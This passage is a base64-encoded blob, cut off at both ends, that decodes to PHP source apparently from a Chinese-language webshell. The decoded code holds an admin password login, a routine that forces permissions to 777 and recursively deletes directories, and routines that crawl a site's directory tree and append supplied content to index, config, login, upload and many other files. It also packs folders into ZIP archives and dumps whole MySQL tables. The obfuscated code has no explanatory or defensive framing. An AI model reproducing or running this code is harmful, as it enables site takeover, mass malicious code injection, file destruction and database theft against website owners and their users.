yZGFuYTsgY29sb3I6MDAwMDAwIj7K5Mjrw9zC6zogPC9zcGFuPjxpbnB1dCBuYW1lPSJhZG1pbnBhc3MiIHR5cGU9InBhc3N3b3JkIiBzaXplPSIyMCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkbyIgdmFsdWU9ImxvZ2luIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSK1x8K9Ij4NCgk8L3RkPg0KICA8L3RyPg0KICA8L2Zvcm0+DQogIDwvdGFibGU+DQoNCjw/cGhwDQoJCWV4aXQ7DQoJfS8vZW5kIGxvZ2lucGFnZSgpDQoNCgkvLyDSs8PmtffK1NDFz6INCglmdW5jdGlvbiBkZWJ1Z2luZm8oKSB7DQoJCWdsb2JhbCAkc3RhcnR0aW1lOw0KCQkkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOw0KCQkkdG90YWx0aW1lID0gbnVtYmVyX2Zvcm1hdCgoJG10aW1lWzFdICsgJG10aW1lWzBdIC0gJHN0YXJ0dGltZSksIDYpOw0KCQllY2hvICJQcm9jZXNzZWQgaW4gJHRvdGFsdGltZSBzZWNvbmQocykiOw0KCX0NCg0KCS8vIMiltfTXqtLl19a3+w0KCWZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgmJGFycmF5KSB7DQoJCXdoaWxlKGxpc3QoJGtleSwkdmFyKSA9IGVhY2goJGFycmF5KSkgew0KCQkJaWYgKCRrZXkgIT0gJ2FyZ2MnICYmICRrZXkgIT0gJ2FyZ3YnICYmIChzdHJ0b3VwcGVyKCRrZXkpICE9ICRrZXkgfHwgJycuaW50dmFsKCRrZXkpID09ICIka2V5IikpIHsNCgkJCQlpZiAoaXNfc3RyaW5nKCR2YXIpKSB7DQoJCQkJCSRhcnJheVska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFyKTsNCgkJCQl9DQoJCQkJaWYgKGlzX2FycmF5KCR2YXIpKSAgew0KCQkJCQkkYXJyYXlbJGtleV0gPSBzdHJpcHNsYXNoZXNfYXJyYXkoJHZhcik7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCXJldHVybiAkYXJyYXk7DQoJfQ0KDQoJLy8gyb6z/cS/wrwNCglmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsNCgkJJG15ZGlyPUBkaXIoJGRlbGRpcik7CQ0KCQl3aGlsZSgkZmlsZT0kbXlkaXItPnJlYWQoKSkJeyAJCQ0KCQkJaWYoKGlzX2RpcigiJGRlbGRpci8kZmlsZSIpKSBBTkQgKCRmaWxlIT0iLiIpIEFORCAoJGZpbGUhPSIuLiIpKSB7IA0KCQkJCUBjaG1vZCgiJGRlbGRpci8kZmlsZSIsMDc3Nyk7DQoJCQkJZGVsdHJlZSgiJGRlbGRpci8kZmlsZSIpOyANCgkJCX0NCgkJCWlmIChpc19maWxlKCIkZGVsZGlyLyRmaWxlIikpIHsNCgkJCQlAY2htb2QoIiRkZWxkaXIvJGZpbGUiLDA3NzcpOw0KCQkJCUB1bmxpbmsoIiRkZWxkaXIvJGZpbGUiKTsNCgkJCX0NCgkJfSANCgkJJG15ZGlyLT5jbG9zZSgpOyANCgkJQGNobW9kKCIkZGVsZGlyIiwwNzc3KTsNCgkJcmV0dXJuIChAcm1kaXIoJGRlbGRpcikpID8gMSA6IDA7DQoJfSANCg0KCS8vIMXQts+2wdC0x+m/9g0KCWZ1bmN0aW9uIGRpcl93cml0ZWFibGUoJGRpcikgew0KCQlpZiAoIWlzX2RpcigkZGlyKSkgew0KCQkJQG1rZGlyKCRkaXIsIDA3NzcpOw0KCQl9DQoJCWlmKGlzX2RpcigkZGlyKSkgew0KCQkJaWYgKCRmcCA9IEBmb3BlbigiJGRpci90ZXN0LnR4dCIsICd3JykpIHsNCgkJCQlAZmNsb3NlKCRmcCk7DQoJCQkJQHVubGluaygiJGRpci90ZXN0LnR4dCIpOw0KCQkJCSR3cml0ZWFibGUgPSAxOw0KCQkJfSBlbHNlIHsNCgkJCQkkd3JpdGVhYmxlID0gMDsNCgkJCX0NCgkJfQ0KCQlyZXR1cm4gJHdyaXRlYWJsZTsNCgl9DQoNCgkvLyCx7bjx0NC85LXEsbO+sMmrzOa7uw0KCWZ1bmN0aW9uIGdldHJvd2JnKCkgew0KCQlnbG9iYWwgJGJnY291bnRlcjsNCgkJaWYgKCRiZ2NvdW50ZXIrKyUyPT0wKSB7DQoJCQlyZXR1cm4gImZpcnN0YWx0IjsNCgkJfSBlbHNlIHsNCgkJCXJldHVybiAic2Vjb25kYWx0IjsNCgkJfQ0KCX0NCg0KCS8vILvxyKG1scewtcTOxLz+z7XNs8K3vrYNCglmdW5jdGlvbiBnZXRQYXRoKCRtYWlucGF0aCwgJHJlbGF0aXZlcGF0aCkgew0KCQlnbG9iYWwgJGRpcjsNCgkJJG1haW5wYXRoX2luZm8gICAgICAgICAgID0gZXhwbG9kZSgnLycsICRtYWlucGF0aCk7DQoJCSRyZWxhdGl2ZXBhdGhfaW5mbyAgICAgICA9IGV4cGxvZGUoJy8nLCAkcmVsYXRpdmVwYXRoKTsNCgkJJHJlbGF0aXZlcGF0aF9pbmZvX2NvdW50ID0gY291bnQoJHJlbGF0aXZlcGF0aF9pbmZvKTsNCgkJZm9yICgkaT0wOyAkaTwkcmVsYXRpdmVwYXRoX2luZm9fY291bnQ7ICRpKyspIHsNCgkJCWlmICgkcmVsYXRpdmVwYXRoX2luZm9bJGldID09ICcuJyB8fCAkcmVsYXRpdmVwYXRoX2luZm9bJGldID09ICcnKSBjb250aW51ZTsNCgkJCWlmICgkcmVsYXRpdmVwYXRoX2luZm9bJGldID09ICcuLicpIHsNCgkJCQkkbWFpbnBhdGhfaW5mb19jb3VudCA9IGNvdW50KCRtYWlucGF0aF9pbmZvKTsNCgkJCQl1bnNldCgkbWFpbnBhdGhfaW5mb1skbWFpbnBhdGhfaW5mb19jb3VudC0xXSk7DQoJCQkJY29udGludWU7DQoJCQl9DQoJCQkkbWFpbnBhdGhfaW5mb1tjb3VudCgkbWFpbnBhdGhfaW5mbyldID0gJHJlbGF0aXZlcGF0aF9pbmZvWyRpXTsNCgkJfSAvL2VuZCBmb3INCgkJcmV0dXJuIGltcGxvZGUoJy8nLCAkbWFpbnBhdGhfaW5mbyk7DQoJfQ0KZnVuY3Rpb24gZGlydHJlZSgkcGF0aCwkbW0pDQogeyANCgkkZCA9QGRpcigiJHBhdGgiKTsNCgl3aGlsZSAoZmFsc2UgIT09ICgkZW50cnkgPSAkZC0+cmVhZCgpKSkgew0KCQlpZigkZW50cnkgPT0gIi4iIHx8ICRlbnRyeSA9PSAiLi4iKSBjb250aW51ZTsNCgkJJGZpbGU9JGQtPnBhdGguIi8iIC4kZW50cnk7DQoJCWlmKEBpc19kaXIoJGZpbGUpKSANCgkJew0KCQlkaXJ0cmVlKCRmaWxlLCRtbSk7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkJaWYoQGVyZWcoImRlZmF1bHRcLnxpbmRleFwufGFkbWluXC58YmJzXC58Y29ublwufGNvbmZpZ1wufHJlZ1wufGhlbHBcLnx1cGZpbGVcLnx1cGxvYWRcLnxjYXJ0XC58Y2xhc3NcLnxsb2dpblwufGRpeVwufG5vXC58b2tcLnxkZWxcLnxzcWxcLnx1c2VyXC58dWJiXC58ZnRwXC58YXNwXC58dG9wXC58bmV3XC58b3BlblwufG5hbWVcLnxlbWFpbFwufGltZ1wufGltYWdlc1wufHdlYlwufGJsb2dcLnxzYXZlXC58ZGF0YVwufGFkZFwufGVkaXRcLnxtYWluXC58Zm9ybVwufGdhbWVcLnxhYm91dFwufG1hbmFnZXJcLnxib29rXC58YnRcLnxtcDNcLnx2b2RcLnxlcnJvclwufGNvcHlcLnxtb3ZlXC58ZG93blwufHN5c3RlbVwufGxvZ29cLnxRUVwufDUyMFwufG5ld3VwXC58bXl1cFwufHBsYXlcLnxzaG93XC58dmlld1wufGlwXC58ZXJyNDA0XC58c2VuZFwufGZvb3RcLnxjaGFyXC58aW5mb1wufGxpc3RcLnxzaG9wXC58ZXJyXC58bmNcLnxhZFwufGZsYXNoXC58dGV4dFwufGFkbWluX3VwZmlsZVwufGFkbWluX3VwbG9hZFwufHVwZmlsZV9sb2FkXC58dXBmaWxlX3NvZnRcLnx1cGZpbGVfcGhvdG9cLnx1cGZpbGVfc29mdHBpY1wufHZpcFwufDUwNVwufHRhZ1wufHNlYXJjaFwufGxpc3RcLnxjb21tb25cLnxzaG93XC58Y291bnRcLnxkb3dubG9hZFwufHBocFwuIiwkZmlsZSkpIHsNCgkJCQkkbW09c3RyaXBjc2xhc2hlcyggdHJpbSggJG1tICkgKTsvL7fA1rm1pcur0v26xbG7vNPJz9CxuNwNCgkJCQkkaGFuZGxlID0gQGZvcGVuICgiJGZpbGUiLCAiYSIpOw0KCQkJCUBmd3JpdGUoJGhhbmRsZSwgIiRtbSIpOw0KCQkJCUBmY2xvc2UoJGhhbmRsZSk7DQoJCQkJZWNobyAi0tG50sLtzsS8/jokZmlsZTxicj4iOw0KCQkJCX0NCgkJfQ0KCX0NCgkkZC0+Y2xvc2UoKTsNCn0NCgkvLyC87LLpUEhQxeTWw7LOyv0NCglmdW5jdGlvbiBnZXRwaHBjZmcoJHZhcm5hbWUpIHsNCgkJc3dpdGNoKCRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFybmFtZSkpIHsNCgkJCWNhc2UgMDoNCgkJCXJldHVybiAiTm8iOw0KCQkJYnJlYWs7DQoJCQljYXNlIDE6DQoJCQlyZXR1cm4gIlllcyI7DQoJCQlicmVhazsNCgkJCWRlZmF1bHQ6DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJCWJyZWFrOw0KCQl9DQoJfQ0KDQoJLy8gvOyy6bqvyv3H6b/2DQoJZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7DQoJCXJldHVybiAoZmFsc2UgIT09IGZ1bmN0aW9uX2V4aXN0cygkZnVuTmFtZSkpID8gIlllcyIgOiAiTm8iOw0KCX0NCg0KCS8vING5y/W08rD8wOANCgljbGFzcyBQSFBaaXB7DQoJdmFyICRvdXQ9Jyc7DQoJCWZ1bmN0aW9uIFBIUFppcCgkZGlyKQl7DQogICAgCQlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQl7DQoJCQkJJGN1cmRpciA9IGdldGN3ZCgpOw0KCQkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVsaXN0ID0gJGRpcjsNCgkJICAgICAgICBlbHNlew0KCQkJICAgICAgICAkZmlsZWxpc3Q9JHRoaXMgLT4gR2V0RmlsZUxpc3QoJGRpcik7Ly/OxLz+wdCx7Q0KCQkJCSAgICBmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoJICAgICAgICAgICAgfQ0KCQkgICAgICAgIGlmICgoIWVtcHR5KCRkaXIpKSYmKCFpc19hcnJheSgkZGlyKSkmJihmaWxlX2V4aXN0cygkZGlyKSkpIGNoZGlyKCRkaXIpOw0KCQkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoJCQkJaWYgKGNvdW50KCRmaWxlbGlzdCk+MCl7DQoJCQkJCWZvcmVhY2goJGZpbGVsaXN0IGFzICRmaWxlbmFtZSl7DQoJCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCQkJCQkkZmQgPSBmb3BlbiAoJGZpbGVuYW1lLCAiciIpOw0KCQkJCQkJCSRjb250ZW50ID0gQGZyZWFkICgkZmQsIGZpbGVzaXplICgkZmlsZW5hbWUpKTsNCgkJCQkJCQlmY2xvc2UgKCRmZCk7DQoJCQkJCQkgICAgaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KCQkJCQkJCSR0aGlzIC0+IGFkZEZpbGUoJGNvbnRlbnQsICRmaWxlbmFtZSk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJJHRoaXMtPm91dCA9ICR0aGlzIC0+IGZpbGUoKTsNCgkJCQkJY2hkaXIoJGN1cmRpcik7DQoJCQkJfQ0KCQkJCXJldHVybiAxOw0KCQkJfQ0KCQkJZWxzZSByZXR1cm4gMDsNCgkJfQ0KDQoJCS8vILvxtcPWuLaoxL/CvM7EvP7B0LHtDQoJCWZ1bmN0aW9uIEdldEZpbGVMaXN0KCRkaXIpew0KCQkJc3RhdGljICRhOw0KCQkJaWYgKGlzX2RpcigkZGlyKSkgew0KCQkJCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoJCQkgICAJCXdoaWxlICgoJGZpbGUgPSByZWFkZGlyKCRkaCkpICE9PSBmYWxzZSkgew0KCQkJCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyl7DQogICAgICAgICAgICAJCQkJJGY9JGRpciAuJy8nLiAkZmlsZTsNCiAgICAgICAgICAgIAkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOw0KCQkJCQkJCSRhW109JGY7DQoJICAgICAgICAJCQl9DQoJCQkJCX0NCiAgICAgCQkJCWNsb3NlZGlyKCRkaCk7DQogICAgCQkJfQ0KCQkJfQ0KCQkJcmV0dXJuICRhOw0KCQl9DQoNCgkJdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KCSAgICB2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7DQoJCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCgkgICAgdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KDQoJCWZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7DQoJICAgICAgICAkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCgkJICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7DQoJCQkJJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsNCiAgICAgICAgCQkkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KCSAgICAgICAgCSR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7DQoJCSAgICAJJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsNCgkJCQkkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KICAgICAgICAJCSR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7DQoJICAgICAgICB9IC8vIGVuZCBpZg0KCQkgICAgcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCgkJCSAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7DQoJICAgIH0NCg0KCQlmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7DQoJICAgICAgICAkbmFtZSAgICAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCg0KCQkgICAgJGR0aW1lICAgID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCgkgICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10NCgkJICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCgkJCSAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMl0gLiAkZHRpbWVbM10NCgkJCQkgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07DQoJICAgICAgICBldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KCQkgICAgJGZyICAgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQoJCQkkZnIgICAuPSAiXHgxNFx4MDAiOw0KCSAgICAgICAgJGZyICAgLj0gIlx4MDBceDAwIjsNCgkJICAgICRmciAgIC49ICJceDA4XHgwMCI7DQoJCQkkZnIgICAuPSAkaGV4ZHRpbWU7DQoNCgkgICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJICAgICRjcmMgICAgID0gY3JjMzIoJGRhdGEpOw0KCQkJJHpkYXRhICAgPSBnemNvbXByZXNzKCRkYXRhKTsNCgkgICAgICAgICRjX2xlbiAgID0gc3RybGVuKCR6ZGF0YSk7DQoJCSAgICAkemRhdGEgICA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCgkJCSRmciAgICAgIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkgICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkgICAgJGZyICAgICAgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJCSRmciAgICAgIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsNCgkgICAgICAgICRmciAgICAgIC49IHBhY2soJ3YnLCAwKTsNCgkJICAgICRmciAgICAgIC49ICRuYW1lOw0KDQoJCQkkZnIgLj0gJHpkYXRhOw0KDQoJICAgICAgICAkZnIgLj0gcGFjaygnVicsICRjcmMpOw0KCQkgICAgJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoNCgkgICAgICAgICR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCgkJICAgICRuZXdfb2Zmc2V0ICAgICAgICA9IHN0cmxlbihpbXBsb2RlKCcnLCAkdGhpcy0+ZGF0YXNlYykpOw0KDQoJCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQoJICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkJICAgICRjZHJlYyAuPSAiXHgxNFx4MDAiOw0KCQkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoJICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsNCgkJICAgICRjZHJlYyAuPSAkaGV4ZHRpbWU7DQoJCQkkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KCSAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCgkgICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkgICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOw0KCQkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQoJICAgICAgICAkdGhpcyAtPiBvbGRfb2Zmc2V0ID0gJG5ld19vZmZzZXQ7DQoJCSAgICAkY2RyZWMgLj0gJG5hbWU7DQoNCgkJCSR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQoJICAgIH0NCg0KCQlmdW5jdGlvbiBmaWxlKCkgew0KCQkJJGRhdGEgICAgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBkYXRhc2VjKTsNCgkgICAgICAgICRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KCQkgICAgcmV0dXJuDQoJCQkgICAgJGRhdGEgLg0KCQkJCSRjdHJsZGlyIC4NCgkgICAgICAgICAgICAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLg0KCQkgICAgICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuDQoJCQkgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4NCgkJCQlwYWNrKCdWJywgc3RybGVuKCRjdHJsZGlyKSkgLg0KCSAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuDQoJCSAgICAgICAgIlx4MDBceDAwIjsNCgkgICAgfQ0KCX0NCmZ1bmN0aW9uIGRpcnQoJHBhdGhoLCRtbW0pDQogeyANCgkkZCA9QGRpcigiJHBhdGhoIik7DQoJd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gJGQtPnJlYWQoKSkpIHsNCgkJaWYoJGVudHJ5ID09ICIuIiB8fCAkZW50cnkgPT0gIi4uIikgY29udGludWU7DQoJCSRmaWxlPSRkLT5wYXRoLiIvIiAuJGVudHJ5Ow0KCQlpZihAaXNfZGlyKCRmaWxlKSkgDQoJCXsNCgkJZGlydHJlZSgkZmlsZSwkbW1tKTsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCQlpZihAZXJlZygiY29uZmlnXC58Y29ublwuIiwkZmlsZSkpIHsNCgkJCQkkbW1tPXN0cmlwY3NsYXNoZXMoIHRyaW0oICRtbW0gKSApOw0KCQkJCSRoYW5kbGUgPSBAZm9wZW4gKCIkZmlsZSIsICJhIik7DQoJCQkJQGZ3cml0ZSgkaGFuZGxlLCAiJG1tbSIpOw0KCQkJCUBmY2xvc2UoJGhhbmRsZSk7DQoJCQkJfQ0KCQl9DQoJfQ0KCSRkLT5jbG9zZSgpOw0KfQ0KCS8vILG4t93K/b7dv+INCglmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgew0KCQkkdGFibGVkdW1wID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTICR0YWJsZTtcbiI7DQoJCSR0YWJsZWR1bXAgLj0gIkNSRUFURSBUQUJMRSAkdGFibGUgKFxuIjsNCg0KCQkkZmlyc3RmaWVsZD0xOw0KDQoJCSRmaWVsZHMgPSBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSAkdGFibGUiKTsNCgkJd2hpbGUgKCRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCRmaWVsZHMpKSB7DQoJCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiLFxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpcnN0ZmllbGQ9MDsNCgkJCX0NCgkJCSR0YWJsZWR1bXAgLj0gIiAgICRmaWVsZFtGaWVsZF0gJGZpZWxkW1R5cGVdIjsNCgkJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiIERFRkFVTFQgJyRmaWVsZFtEZWZhdWx0XSciOw0KCQkJfQ0KCQkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiIE5PVCBOVUxMIjsNCgkJCX0NCgkJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsNCgkJCQkkdGFibGVkdW1wIC49ICIgJGZpZWxkW0V4dHJhXSI7DQoJCQl9DQoJCX0NCgkJbXlzcWxfZnJlZV9yZXN1bHQoJGZpZWxkcyk7DQoJDQoJCSRrZXlzID0gbXlzcWxfcXVlcnkoIlNIT1cgS0VZUyBGUk9NICR0YWJsZSIpOw0KCQl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgew0KCQkJJGtuYW1lPSRrZXlbJ0tleV9uYW1lJ107DQoJCQlpZiAoJGtuYW1lICE9ICJQUklNQVJZIiBhbmQgJGtleVsnTm9uX3VuaXF1ZSddID09IDApIHsNCgkJCQkka25hbWU9IlVOSVFVRXwka25hbWUiOw0KCQkJfQ0KCQkJaWYoIWlzX2FycmF5KCRpbmRleFska25hbWVdKSkgew0KCQkJCSRpbmRleFska25hbWVdID0gYXJyYXkoKTsNCgkJCX0NCgkJCSRpbmRleFska25hbWVdW10gPSAka2V5WydDb2x1bW5fbmFtZSddOw0KCQl9DQoJCW15c3FsX2ZyZWVfcmVzdWx0KCRrZXlzKTsNCg0KCQl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KCQkJJHRhYmxlZHVtcCAuPSAiLFxuIjsNCgkJCSRjb2xuYW1lcz1pbXBsb2RlKCRjb2x1bW5zLCIsIik7DQoNCgkJCWlmICgka25hbWUgPT0gIlBSSU1BUlkiKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOw0KCQkJfSBlbHNlIHsNCgkJCQlpZiAoc3Vic3RyKCRrbmFtZSwwLDYpID09ICJVTklRVUUiKSB7DQoJCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOw0KCQkJCX0NCgkJCQkkdGFibGVkdW1wIC49ICIgICBLRVkgJGtuYW1lICgkY29sbmFtZXMpIjsNCgkJCX0NCgkJfQ0KDQoJCSR0YWJsZWR1bXAgLj0gIlxuKTtcblxuIjsNCgkJaWYgKCRmcCkgew0KCQkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gJHRhYmxlZHVtcDsNCgkJfQ0KDQoJCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIik7DQoJCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cykpIHsNCgkJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KDQoJCQkkZmllbGRjb3VudGVyPS0xOw0KCQkJJGZpcnN0ZmllbGQ9MTsNCgkJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXI8JG51bWZpZWxkcykgew0KCQkJCWlmICghJGZpcnN0ZmllbGQpIHsNCgkJCQkJJHRhYmxlZHVtcC49IiwgIjsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZmlyc3RmaWVsZD0wOw0KCQkJCX0NCg0KCQkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsNCgkJCQkJJHRhYmxlZHVtcCAuPSAiTlVMTCI7DQoJCQkJfSBlbHNlIHsNCgkJCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7DQoJCQkJfQ0KCQkJfQ0KDQoJCQkkdGFibGVkdW1wIC49ICIpO1xuIjsNCg0KCQkJaWYgKCRmcCkgew0KCQkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJHRhYmxlZHVtcDsNCgkJCX0NCgkJfQ0KCQlteXNxbF9mcmVlX3Jlc3VsdCgkcm93cyk7DQoJfQ0KDQoJY2xhc3MgRk9STVMgew0KCQlmdW5jdGlvbiB0YWJsZWhlYWRlcigpIHsNCgkJCWVjaG8gIjx0YWJsZSB3aWR0aD1cIjc3NVwiIGJvcmRlcj1cIjBcIiBjZWxscGFkZGluZz1cIjNcIiBjZWxsc3BhY2luZz1cIjFcIiBiZ2NvbG9yPVwiI2ZmZmZmZlwiPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIGhlYWRlcmZvcm0oJGFyZz1hcnJheSgpKSB7DQoJCQlnbG9iYWwgJGRpcjsNCgkJCWlmICgkYXJnW2VuY3R5cGVdKXsNCgkJCQkkZW5jdHlwZT0iZW5jdHlwZT1cIiRhcmdbZW5jdHlwZV1cIiI7DQoJCQl9IGVsc2Ugew0KCQkJCSRlbmN0eXBlPSIiOw0KCQkJfQ0KCQkJaWYgKCFpc3NldCgkYXJnW21ldGhvZF0pKSB7DQoJCQkJJGFyZ1ttZXRob2RdID0gIlBPU1QiOw0KCQkJfQ0KCQkJaWYgKCFpc3NldCgkYXJnW2FjdGlvbl0pKSB7DQoJCQkJJGFyZ1thY3Rpb25dID0gJyc7DQoJCQl9DQoJCQllY2hvICIgIDxmb3JtIGFjdGlvbj1cIiIuJGFyZ1thY3Rpb25dLiJcIiBtZXRob2Q9XCIiLiRhcmdbbWV0aG9kXS4iXCIgJGVuY3R5cGU+XG4iOw0KCQkJZWNobyAiICA8dHI+XG4iOw0KCQkJZWNobyAiICAgIDx0ZD4iLiRhcmdbY29udGVudF0uIjwvdGQ+XG4iOw0KCQkJZWNobyAiICA8L3RyPlxuIjsNCgkJCWVjaG8gIiAgPC9mb3JtPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIHRkaGVhZGVyKCR0aXRsZSkgew0KCQkJZ2xvYmFsICRkaXI7DQoJCQllY2hvICIgIDx0ciBjbGFzcz1cImZpcnN0YWx0XCI+XG4iOw0KCQkJZWNobyAiCTx0ZCBhbGlnbj1cImNlbnRlclwi